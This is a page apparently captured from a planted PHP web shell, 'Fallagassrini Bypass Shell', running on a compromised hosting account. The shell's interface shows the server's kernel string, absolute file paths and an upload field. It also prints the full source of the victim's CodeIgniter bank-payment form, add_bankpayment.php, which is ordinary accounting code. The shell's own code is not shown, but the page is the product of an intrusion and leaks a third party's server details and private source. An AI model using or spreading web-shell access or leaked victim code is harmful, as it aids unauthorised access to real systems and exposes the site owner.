? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Accounting/add_bankpayment.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); ?> 
<script type="text/javascript" src="<?= base_url() ?>/assets/js/autonumeric.js"></script>
<script>     
    jQuery(document).ready(function ()
    {              
        $('.one').datepick({dateFormat: 'dd-mm-yyyy'});
        $('input.auto').autoNumeric();
        checkfiscalyear("begin","mycompany");
        check_tran_code_setting(1);
        suggestaccounts('code');
        $('.two').datepick({dateFormat: 'dd-mm-yyyy'});
    });
    function suggestaccounts(id)
    {   
        $("#"+id).autocomplete("<?= site_url() ?>/master/autosuggestaccounts/", {
            width: 320,
            selectFirst: false
        });
    }
    Number.prototype.formatMoney = function(c, d, t){
        var n = this, c = isNaN(c = Math.abs(c)) ? 2 : c, d = d == undefined ? "," : d, t = t == undefined ? "." : t, s = n < 0 ? "-" : "", i = parseInt(n = Math.abs(+n || 0).toFixed(c)) + "", j = (j = i.length) > 3 ? j % 3 : 0;
        return s + (j ? i.substr(0, j) + t : "") + i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + t) + (c ? d + Math.abs(n - i).toFixed(c).slice(2) : "");
    };
       
    function check_amount(total,paid,payid,cnt)
    {
        var pay=payid.value;
        if(pay=='')
            pay=0;
        var k;
        var sum_cnt=0;
        for(k=1;k<=cnt;k++)
        {             
            var count=document.getElementById('Temp-'+k).value;
              
            if(count=='')
                count=0;
            sum_cnt=parseFloat(sum_cnt)+parseFloat(count);
        }
        document.getElementById('count').value=sum_cnt;
        var tot=parseFloat(total);
        var amount=parseFloat(paid)+parseFloat(pay);
        if( tot < amount)
        {
            alert('Amount is greater ');
            document.getElementById('count').value='';
            payid.value='';
            return false;
        }
    }
    
    function checknumeric()
    {       
        $('input.auto').autoNumeric();
    }
    function chkfiscal(val)
    {
        $("#temp").load("<?= site_url('accountings/fiscaldate_check/') ?>" +"/"  + val,function(data)
        {
            alert(data);
        });
    }   
    function showpaymentspan(val)
    {
        document.getElementById('paymentmethod').style.display='none';
        document.getElementById('paymentbankleft').style.display='none';
        if(val=='cheque')
        {
            document.getElementById('paymentmethod').style.display='block';            
        }
        if(val=='bank')
        {
            document.getElementById('paymentbankleft').style.display='block';   
        }
    }
</script>
<style>
    .newcls
    {
        border:none;
        background-color: #fff;
        width:185px;
    }
</style>
<div class="select-bar">
    <label>
        <img src="<?= base_url() ?>/assets/images/backbutton.png" title="Back" class="clickimage"  onclick="showunpostbank_pay(1)" alt="Back" align = "center" width="25" height="25"  /></label>

</div>
<div id="temp" style="display:none"></div>
<div id="viewmsg"></div>



<?php
$attributes = array('id' => 'customForm', 'class' => 'customForm3');
echo form_open('accounting/Insertbankpayment', $attributes);
$refcode = "--Auto Generated--";
?>
<fieldset>
    <legend>Bank Account Payment Entry</legend>

    <fieldset class="bankfieldset4">

        <ul>
            <li>
                <label>From</label><select  name="bankacc"  id="bankacc" style="width:160px">
                    <?php
                    $bankacc = $this->mastermodel->getdatas('bank_accounts');
                    if (count($bankacc)) {
                        foreach ($bankacc as $key => $acc) {
                            echo "<option value='" . $acc['id'] . '~' . $acc['account_code'] . "' >" . $acc['bank_account_name'] . "</option>";
                        }
                    }
                    ?>
                </select><span id="bankaccInfo" class="red_bold">&nbsp;</span>
            </li>
            <li></li>


        </ul>
    </fieldset>

    <fieldset class="bankfieldset4">
        <ul>
            <li>
                <label>Date:</label>
                <input style="width:160px" class="one" type="text"   value="<?php echo date("d-m-Y"); ?>" name="date" id="date"><span id="dateInfo" class="red_bold">&nbsp;</span>
            </li>
            <li></li>
        </ul>
    </fieldset>
    <fieldset class="bankfieldset4">
        <ul>
            <li>
                <label>Transaction No: </label>
                <input style="width:160px" type="text" readonly value="<?= $refcode ?>" onchange="data_exist(this)" name="ref" id="ref"/>

                <input type="hidden" value="0" name="refid" >
                <span id="refInfo" class="red_bold">*</span>
            </li>
            <li></li>
        </ul>
    </fieldset>

    <fieldset class="bankfieldset4">
        <ul>


            <li>
                <label> Payment Method</label>
                <select name="method" id="method" style="width:125px" onchange="showpaymentspan(this.value)" >
                    <option value="cash">Cash</option>
                    <option value="cheque">Cheque</option>
                    <option value="bank">Bank Transfer</option>
                </select>

            </li>
            <li></li>
        </ul>
    </fieldset>           


    <br/>
    <span id="paymentbankleft" style="display:none">
        <fieldset class="bankfieldset">
            <ul>
                <li>
                    <label>Bank Info :</label><textarea name="bank_info" id="bank_info" style="width:160px;height: 50px;margin-bottom: 5px;"></textarea>
                </li>
            </ul>
        </fieldset>
    </span>

    <span style="display:none" id="paymentmethod">  <fieldset class="bankfieldset">
            <ul>
                <li>
                    <label>Cheque Date:</label> <input type="text" class="two"  style="width:125px"   value="<?php echo date("d-m-Y"); ?>" readonly="readonly" name="ch_date" id="ch_date"><br/>
                </li>
                <li></li>
            </ul>
        </fieldset>
        <fieldset class="bankfieldset">
            <ul>
                <li>
                    <label>Cheque Drawn :</label>
                    <input style="width:125px" type="text"   name="bankname" id="bankname">
                </li>
                <li></li>
            </ul>
        </fieldset>
        <fieldset class="bankfieldset">
            <ul>
                <li>
                    <label>Cheque No.:</label><input style="width:125px" type="text"   name="ch_no" id="ch_no">
                </li>
                <li></li>
            </ul>
        </fieldset>
    </span>
</fieldset>
<br/><br/>
<input type="hidden" name="bank_trans_type" value="other" id="bank_trans_type">
<fieldset><legend>Payment Items</legend>
    <div id="loadpaymentlist" ></div>
    <div id="otherpay" >
        <input type="hidden" name="counter" id="counter"/><!--for validation-->
        <input type="hidden" name="counter_check" id="counter_check"/> <!--- for sending count ot table to model for "for loop" ---->
        <input type="hidden" name="class_ch" id="class_ch"/><!--- for change class for edit-->
        <input type="hidden" name="pay_n_dep" value="1" id="pay_n_dep"/>
        <!--- To know which type of transaction-->
        <table   class="sort" id="adddivx">
            <thead> <tr>
                    <th width="30%">Acc code</th>

                    <th width="30%">Amount</th>
                    <th width="30%">Memo</th>
                    <th width="10%"> Action</th>
                </tr>
            </thead>
            <tr id="dvFiles0">
                <td><input style='width:185px;' type="text"  id="code" />
                    <input style='width:185px;' type="hidden" id="code_id" />
                </td>

                <td>
                    <input style="width:185px" type="text" class="auto"  id="amount" />
                </td>
                <td style="padding-bottom:15px;">
                    <textarea id="memo" style='width:170px;height:50px' ></textarea>
                </td>
                <td style="padding-bottom:15px;">
                    <img src="<?= base_url() ?>/assets/images/add-icon.png" title="Add New"  class="clickimage" onclick="add_details()" alt="Add New" align = "top" width="25" height="25"  />
                </td>
            </tr>
        </table>
        <div id="adddiv"></div>
        <table  class="sort" >
            <tr><th width="30%" style="text-align: right;"><label>Total</label></th>
                <th colspan="3">
                    <input type="hidden" id="sumamount" class="newcls" readonly="readonly"  value="0" name="sumamount"/>
                    <input type="text" id="showsumamount" style="width:185px" class="newcls auto" readonly="readonly"  value="0.00" />
                </th>

            </tr>
        </table>
        <div id="adddiv"> </div>
        <input type="hidden" value="0" name="refid">
        <br/>


        <fieldset style="width:100%;text-align:center;border: none;margin: 10px 0 10px 0"><button type="submit" class="clickimage" name="add_pay" onclick="return  insertbankpay()" id="button1" >Process Payment</button>
        </fieldset>
    </div>


</fieldset>
<?php
echo form_close();
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net